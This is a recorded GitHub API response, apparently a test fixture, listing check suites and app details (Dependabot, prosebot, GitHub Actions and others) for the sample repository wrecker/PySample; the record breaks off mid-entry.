('X-RateLimit-Reset', '1596958127'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"6a145ce47c25d0eef3e82e194f800e7b"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.antiope-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DDA8:6CB7:180B1C:1F6330:5F2F98CF')] {"total_count":6,"check_suites":[{"id":1004503392,"node_id":"MDEwOkNoZWNrU3VpdGUxMDA0NTAzMzky","head_branch":"wrecker-patch-1","head_sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","status":"queued","conclusion":null,"url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503392","before":"9ee0caba8648aa0b8b5fc68ebc37c3c1162aa283","after":"fd09d934bcce792176d6b79d6d0387e938b62b7a","pull_requests":[{"url":"https://api.github.com/repos/wrecker/PySample/pulls/7","id":462527907,"number":7,"head":{"ref":"wrecker-patch-1","sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","repo":{"id":283963162,"url":"https://api.github.com/repos/wrecker/PySample","name":"PySample"}},"base":{"ref":"main","sha":"ad83eb83895dafacb1384f89e3be6a9d9cf2b719","repo":{"id":283963162,"url":"https://api.github.com/repos/wrecker/PySample","name":"PySample"}}}],"app":{"id":29110,"slug":"dependabot","node_id":"MDM6QXBwMjkxMTA=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars1.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"Dependabot","description":"","external_url":"https://dependabot-api.githubapp.com","html_url":"https://github.com/apps/dependabot","created_at":"2019-04-16T22:34:25Z","updated_at":"2019-07-01T21:20:42Z","permissions":{"checks":"write","contents":"write","issues":"write","members":"read","metadata":"read","pull_requests":"write","statuses":"read","workflows":"write"},"events":["check_suite","issues","issue_comment","label","pull_request","pull_request_review","pull_request_review_comment","repository"]},"created_at":"2020-08-04T05:06:51Z","updated_at":"2020-08-04T05:06:51Z","latest_check_runs_count":0,"check_runs_url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503392/check-runs","head_commit":{"id":"fd09d934bcce792176d6b79d6d0387e938b62b7a","tree_id":"ece026d8b3d79448ead6e7a2e2919dea8057db38","message":"Update README.md","timestamp":"2020-08-04T05:06:50Z","author":{"name":"Mahesh Raju","email":"coder@mahesh.net"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":283963162,"node_id":"MDEwOlJlcG9zaXRvcnkyODM5NjMxNjI=","name":"PySample","full_name":"wrecker/PySample","private":false,"owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"html_url":"https://github.com/wrecker/PySample","description":"A Sample Python Project","fork":false,"url":"https://api.github.com/repos/wrecker/PySample","forks_url":"https://api.github.com/repos/wrecker/PySample/forks","keys_url":"https://api.github.com/repos/wrecker/PySample/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wrecker/PySample/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wrecker/PySample/teams","hooks_url":"https://api.github.com/repos/wrecker/PySample/hooks","issue_events_url":"https://api.github.com/repos/wrecker/PySample/issues/events{/number}","events_url":"https://api.github.com/repos/wrecker/PySample/events","assignees_url":"https://api.github.com/repos/wrecker/PySample/assignees{/user}","branches_url":"https://api.github.com/repos/wrecker/PySample/branches{/branch}","tags_url":"https://api.github.com/repos/wrecker/PySample/tags","blobs_url":"https://api.github.com/repos/wrecker/PySample/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wrecker/PySample/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wrecker/PySample/git/refs{/sha}","trees_url":"https://api.github.com/repos/wrecker/PySample/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wrecker/PySample/statuses/{sha}","languages_url":"https://api.github.com/repos/wrecker/PySample/languages","stargazers_url":"https://api.github.com/repos/wrecker/PySample/stargazers","contributors_url":"https://api.github.com/repos/wrecker/PySample/contributors","subscribers_url":"https://api.github.com/repos/wrecker/PySample/subscribers","subscription_url":"https://api.github.com/repos/wrecker/PySample/subscription","commits_url":"https://api.github.com/repos/wrecker/PySample/commits{/sha}","git_commits_url":"https://api.github.com/repos/wrecker/PySample/git/commits{/sha}","comments_url":"https://api.github.com/repos/wrecker/PySample/comments{/number}","issue_comment_url":"https://api.github.com/repos/wrecker/PySample/issues/comments{/number}","contents_url":"https://api.github.com/repos/wrecker/PySample/contents/{+path}","compare_url":"https://api.github.com/repos/wrecker/PySample/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wrecker/PySample/merges","archive_url":"https://api.github.com/repos/wrecker/PySample/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wrecker/PySample/downloads","issues_url":"https://api.github.com/repos/wrecker/PySample/issues{/number}","pulls_url":"https://api.github.com/repos/wrecker/PySample/pulls{/number}","milestones_url":"https://api.github.com/repos/wrecker/PySample/milestones{/number}","notifications_url":"https://api.github.com/repos/wrecker/PySample/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wrecker/PySample/labels{/name}","releases_url":"https://api.github.com/repos/wrecker/PySample/releases{/id}","deployments_url":"https://api.github.com/repos/wrecker/PySample/deployments"}},{"id":1004503393,"node_id":"MDEwOkNoZWNrU3VpdGUxMDA0NTAzMzkz","head_branch":"wrecker-patch-1","head_sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","status":"queued","conclusion":null,"url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503393","before":"9ee0caba8648aa0b8b5fc68ebc37c3c1162aa283","after":"fd09d934bcce792176d6b79d6d0387e938b62b7a","pull_requests":[],"app":{"id":75269,"slug":"pygithubtest","node_id":"MDM6QXBwNzUyNjk=","owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"name":"PyGithubTest","description":"Sample App to test PyGithub","external_url":"https://pygithub.readthedocs.io","html_url":"https://github.com/apps/pygithubtest","created_at":"2020-08-01T17:23:46Z","updated_at":"2020-08-01T17:44:31Z","permissions":{"actions":"write","checks":"write","keys":"read","members":"read","metadata":"read","packages":"read","pages":"read","repository_hooks":"write","vulnerability_alerts":"read","workflows":"write"},"events":["check_run","check_suite","label","member","public"]},"created_at":"2020-08-04T05:06:51Z","updated_at":"2020-08-04T05:06:51Z","latest_check_runs_count":0,"check_runs_url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503393/check-runs","head_commit":{"id":"fd09d934bcce792176d6b79d6d0387e938b62b7a","tree_id":"ece026d8b3d79448ead6e7a2e2919dea8057db38","message":"Update README.md","timestamp":"2020-08-04T05:06:50Z","author":{"name":"Mahesh Raju","email":"coder@mahesh.net"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":283963162,"node_id":"MDEwOlJlcG9zaXRvcnkyODM5NjMxNjI=","name":"PySample","full_name":"wrecker/PySample","private":false,"owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"html_url":"https://github.com/wrecker/PySample","description":"A Sample Python Project","fork":false,"url":"https://api.github.com/repos/wrecker/PySample","forks_url":"https://api.github.com/repos/wrecker/PySample/forks","keys_url":"https://api.github.com/repos/wrecker/PySample/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wrecker/PySample/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wrecker/PySample/teams","hooks_url":"https://api.github.com/repos/wrecker/PySample/hooks","issue_events_url":"https://api.github.com/repos/wrecker/PySample/issues/events{/number}","events_url":"https://api.github.com/repos/wrecker/PySample/events","assignees_url":"https://api.github.com/repos/wrecker/PySample/assignees{/user}","branches_url":"https://api.github.com/repos/wrecker/PySample/branches{/branch}","tags_url":"https://api.github.com/repos/wrecker/PySample/tags","blobs_url":"https://api.github.com/repos/wrecker/PySample/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wrecker/PySample/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wrecker/PySample/git/refs{/sha}","trees_url":"https://api.github.com/repos/wrecker/PySample/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wrecker/PySample/statuses/{sha}","languages_url":"https://api.github.com/repos/wrecker/PySample/languages","stargazers_url":"https://api.github.com/repos/wrecker/PySample/stargazers","contributors_url":"https://api.github.com/repos/wrecker/PySample/contributors","subscribers_url":"https://api.github.com/repos/wrecker/PySample/subscribers","subscription_url":"https://api.github.com/repos/wrecker/PySample/subscription","commits_url":"https://api.github.com/repos/wrecker/PySample/commits{/sha}","git_commits_url":"https://api.github.com/repos/wrecker/PySample/git/commits{/sha}","comments_url":"https://api.github.com/repos/wrecker/PySample/comments{/number}","issue_comment_url":"https://api.github.com/repos/wrecker/PySample/issues/comments{/number}","contents_url":"https://api.github.com/repos/wrecker/PySample/contents/{+path}","compare_url":"https://api.github.com/repos/wrecker/PySample/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wrecker/PySample/merges","archive_url":"https://api.github.com/repos/wrecker/PySample/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wrecker/PySample/downloads","issues_url":"https://api.github.com/repos/wrecker/PySample/issues{/number}","pulls_url":"https://api.github.com/repos/wrecker/PySample/pulls{/number}","milestones_url":"https://api.github.com/repos/wrecker/PySample/milestones{/number}","notifications_url":"https://api.github.com/repos/wrecker/PySample/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wrecker/PySample/labels{/name}","releases_url":"https://api.github.com/repos/wrecker/PySample/releases{/id}","deployments_url":"https://api.github.com/repos/wrecker/PySample/deployments"}},{"id":1004503395,"node_id":"MDEwOkNoZWNrU3VpdGUxMDA0NTAzMzk1","head_branch":"wrecker-patch-1","head_sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","status":"completed","conclusion":"success","url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503395","before":"9ee0caba8648aa0b8b5fc68ebc37c3c1162aa283","after":"fd09d934bcce792176d6b79d6d0387e938b62b7a","pull_requests":[],"app":{"id":19534,"slug":"prosebot","node_id":"MDM6QXBwMTk1MzQ=","owner":{"login":"JasonEtco","id":10660468,"node_id":"MDQ6VXNlcjEwNjYwNDY4","avatar_url":"https://avatars1.githubusercontent.com/u/10660468?v=4","gravatar_id":"","url":"https://api.github.com/users/JasonEtco","html_url":"https://github.com/JasonEtco","followers_url":"https://api.github.com/users/JasonEtco/followers","following_url":"https://api.github.com/users/JasonEtco/following{/other_user}","gists_url":"https://api.github.com/users/JasonEtco/gists{/gist_id}","starred_url":"https://api.github.com/users/JasonEtco/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JasonEtco/subscriptions","organizations_url":"https://api.github.com/users/JasonEtco/orgs","repos_url":"https://api.github.com/users/JasonEtco/repos","events_url":"https://api.github.com/users/JasonEtco/events{/privacy}","received_events_url":"https://api.github.com/users/JasonEtco/received_events","type":"User","site_admin":true},"name":"prosebot","description":"Probot App to help you write better on GitHub.\r\n\r\n## Usage\r\n\r\nThis Probot App listens for changes to Markdown files (`.md`) or text files (`.txt`) and runs various checks against them to provide feedback on the English. Currently, the app checks for spelling, prose and inclusive verbiage. This is done by leveraging existing open source libraries, which you can find [listed below](#credits). Here's how it looks in action:\r\n\r\n

\r\n \"image\"\r\n

\r\n\r\n### What it checks\r\n\r\nA non-exhaustive list of the various checks that are run:\r\n\r\n* Correct spelling (and provides possible corrections).\r\n* Use of non-inclusive/profane/offensive language.\r\n* Various prose-related checks, find the full list [here](https://github.com/btford/write-good#checks).\r\n\r\n### Installation\r\n\r\nVisit [the installation page](https://github.com/apps/prosebot) and install the GitHub App on your repositories. That's all there is to it ❤️\r\n\r\n### Configuration\r\n\r\nThere are currently three providers that the app uses to test your text. These can each be disabled, and are all enabled by default. To disable a provider, add a `.github/write-good.yml` file to your repository and set the provider to `false`:\r\n\r\n```yaml\r\n# .github/write-good.yml\r\nwriteGood: true\r\nalex: true\r\nspellchecker: true\r\n```\r\n\r\n### Credits\r\n\r\nThis Probot App is mostly a wrapper around existing open source libraries. The majority of the work is done by those, and they deserve a ton of thanks:\r\n\r\n* [`write-good`](https://github.com/btford/write-good)\r\n* [`alex`](https://github.com/get-alex/alex)\r\n* [`node-spellchecker`](https://github.com/atom/node-spellchecker)\r\n\r\n### Future work\r\n\r\n* Using [Suggested Changes](https://blog.github.com/changelog/2018-10-16-suggested-changes/) to... suggest changes.\r\n* Work on multiple PRs at a time\r\n* Nicer annotations\r\n* More providers? [Open an issue!](https://github.com/JasonEtco/prosebot/issues/new)\r\n","external_url":"https://github.com/JasonEtco/prosebot","html_url":"https://github.com/apps/prosebot","created_at":"2018-10-22T20:28:41Z","updated_at":"2018-10-23T18:40:32Z","permissions":{"checks":"write","contents":"read","pull_requests":"write"},"events":["check_run","check_suite","pull_request"]},"created_at":"2020-08-04T05:06:51Z","updated_at":"2020-08-04T05:06:55Z","latest_check_runs_count":3,"check_runs_url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503395/check-runs","head_commit":{"id":"fd09d934bcce792176d6b79d6d0387e938b62b7a","tree_id":"ece026d8b3d79448ead6e7a2e2919dea8057db38","message":"Update README.md","timestamp":"2020-08-04T05:06:50Z","author":{"name":"Mahesh Raju","email":"coder@mahesh.net"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":283963162,"node_id":"MDEwOlJlcG9zaXRvcnkyODM5NjMxNjI=","name":"PySample","full_name":"wrecker/PySample","private":false,"owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"html_url":"https://github.com/wrecker/PySample","description":"A Sample Python Project","fork":false,"url":"https://api.github.com/repos/wrecker/PySample","forks_url":"https://api.github.com/repos/wrecker/PySample/forks","keys_url":"https://api.github.com/repos/wrecker/PySample/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wrecker/PySample/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wrecker/PySample/teams","hooks_url":"https://api.github.com/repos/wrecker/PySample/hooks","issue_events_url":"https://api.github.com/repos/wrecker/PySample/issues/events{/number}","events_url":"https://api.github.com/repos/wrecker/PySample/events","assignees_url":"https://api.github.com/repos/wrecker/PySample/assignees{/user}","branches_url":"https://api.github.com/repos/wrecker/PySample/branches{/branch}","tags_url":"https://api.github.com/repos/wrecker/PySample/tags","blobs_url":"https://api.github.com/repos/wrecker/PySample/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wrecker/PySample/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wrecker/PySample/git/refs{/sha}","trees_url":"https://api.github.com/repos/wrecker/PySample/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wrecker/PySample/statuses/{sha}","languages_url":"https://api.github.com/repos/wrecker/PySample/languages","stargazers_url":"https://api.github.com/repos/wrecker/PySample/stargazers","contributors_url":"https://api.github.com/repos/wrecker/PySample/contributors","subscribers_url":"https://api.github.com/repos/wrecker/PySample/subscribers","subscription_url":"https://api.github.com/repos/wrecker/PySample/subscription","commits_url":"https://api.github.com/repos/wrecker/PySample/commits{/sha}","git_commits_url":"https://api.github.com/repos/wrecker/PySample/git/commits{/sha}","comments_url":"https://api.github.com/repos/wrecker/PySample/comments{/number}","issue_comment_url":"https://api.github.com/repos/wrecker/PySample/issues/comments{/number}","contents_url":"https://api.github.com/repos/wrecker/PySample/contents/{+path}","compare_url":"https://api.github.com/repos/wrecker/PySample/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wrecker/PySample/merges","archive_url":"https://api.github.com/repos/wrecker/PySample/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wrecker/PySample/downloads","issues_url":"https://api.github.com/repos/wrecker/PySample/issues{/number}","pulls_url":"https://api.github.com/repos/wrecker/PySample/pulls{/number}","milestones_url":"https://api.github.com/repos/wrecker/PySample/milestones{/number}","notifications_url":"https://api.github.com/repos/wrecker/PySample/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wrecker/PySample/labels{/name}","releases_url":"https://api.github.com/repos/wrecker/PySample/releases{/id}","deployments_url":"https://api.github.com/repos/wrecker/PySample/deployments"}},{"id":1004503397,"node_id":"MDEwOkNoZWNrU3VpdGUxMDA0NTAzMzk3","head_branch":"wrecker-patch-1","head_sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","status":"queued","conclusion":null,"url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503397","before":"9ee0caba8648aa0b8b5fc68ebc37c3c1162aa283","after":"fd09d934bcce792176d6b79d6d0387e938b62b7a","pull_requests":[],"app":{"id":75507,"slug":"prosebot2","node_id":"MDM6QXBwNzU1MDc=","owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"name":"prosebot2","description":"ProseBot 2","external_url":"https://probot.github.io","html_url":"https://github.com/apps/prosebot2","created_at":"2020-08-04T04:45:55Z","updated_at":"2020-08-04T04:45:55Z","permissions":{"checks":"write","contents":"read","metadata":"read","pull_requests":"write"},"events":["check_run","check_suite"]},"created_at":"2020-08-04T05:06:51Z","updated_at":"2020-08-04T05:06:51Z","latest_check_runs_count":0,"check_runs_url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503397/check-runs","head_commit":{"id":"fd09d934bcce792176d6b79d6d0387e938b62b7a","tree_id":"ece026d8b3d79448ead6e7a2e2919dea8057db38","message":"Update README.md","timestamp":"2020-08-04T05:06:50Z","author":{"name":"Mahesh Raju","email":"coder@mahesh.net"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":283963162,"node_id":"MDEwOlJlcG9zaXRvcnkyODM5NjMxNjI=","name":"PySample","full_name":"wrecker/PySample","private":false,"owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"html_url":"https://github.com/wrecker/PySample","description":"A Sample Python Project","fork":false,"url":"https://api.github.com/repos/wrecker/PySample","forks_url":"https://api.github.com/repos/wrecker/PySample/forks","keys_url":"https://api.github.com/repos/wrecker/PySample/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wrecker/PySample/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wrecker/PySample/teams","hooks_url":"https://api.github.com/repos/wrecker/PySample/hooks","issue_events_url":"https://api.github.com/repos/wrecker/PySample/issues/events{/number}","events_url":"https://api.github.com/repos/wrecker/PySample/events","assignees_url":"https://api.github.com/repos/wrecker/PySample/assignees{/user}","branches_url":"https://api.github.com/repos/wrecker/PySample/branches{/branch}","tags_url":"https://api.github.com/repos/wrecker/PySample/tags","blobs_url":"https://api.github.com/repos/wrecker/PySample/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wrecker/PySample/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wrecker/PySample/git/refs{/sha}","trees_url":"https://api.github.com/repos/wrecker/PySample/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wrecker/PySample/statuses/{sha}","languages_url":"https://api.github.com/repos/wrecker/PySample/languages","stargazers_url":"https://api.github.com/repos/wrecker/PySample/stargazers","contributors_url":"https://api.github.com/repos/wrecker/PySample/contributors","subscribers_url":"https://api.github.com/repos/wrecker/PySample/subscribers","subscription_url":"https://api.github.com/repos/wrecker/PySample/subscription","commits_url":"https://api.github.com/repos/wrecker/PySample/commits{/sha}","git_commits_url":"https://api.github.com/repos/wrecker/PySample/git/commits{/sha}","comments_url":"https://api.github.com/repos/wrecker/PySample/comments{/number}","issue_comment_url":"https://api.github.com/repos/wrecker/PySample/issues/comments{/number}","contents_url":"https://api.github.com/repos/wrecker/PySample/contents/{+path}","compare_url":"https://api.github.com/repos/wrecker/PySample/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wrecker/PySample/merges","archive_url":"https://api.github.com/repos/wrecker/PySample/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wrecker/PySample/downloads","issues_url":"https://api.github.com/repos/wrecker/PySample/issues{/number}","pulls_url":"https://api.github.com/repos/wrecker/PySample/pulls{/number}","milestones_url":"https://api.github.com/repos/wrecker/PySample/milestones{/number}","notifications_url":"https://api.github.com/repos/wrecker/PySample/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wrecker/PySample/labels{/name}","releases_url":"https://api.github.com/repos/wrecker/PySample/releases{/id}","deployments_url":"https://api.github.com/repos/wrecker/PySample/deployments"}},{"id":1004503837,"node_id":"MDEwOkNoZWNrU3VpdGUxMDA0NTAzODM3","head_branch":"wrecker-patch-1","head_sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","status":"completed","conclusion":"success","url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503837","before":"9ee0caba8648aa0b8b5fc68ebc37c3c1162aa283","after":"fd09d934bcce792176d6b79d6d0387e938b62b7a","pull_requests":[],"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars1.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"created_at":"2020-08-04T05:06:54Z","updated_at":"2020-08-04T05:07:40Z","latest_check_runs_count":2,"check_runs_url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503837/check-runs","head_commit":{"id":"fd09d934bcce792176d6b79d6d0387e938b62b7a","tree_id":"ece026d8b3d79448ead6e7a2e2919dea8057db38","message":"Update README.md","timestamp":"2020-08-04T05:06:50Z","author":{"name":"Mahesh Raju","email":"coder@mahesh.net"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":283963162,"node_id":"MDEwOlJlcG9zaXRvcnkyODM5NjMxNjI=","name":"PySample","full_name":"wrecker/PySample","private":false,"owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"html_url":"https://github.com/wrecker/PySample","description":"A Sample Python 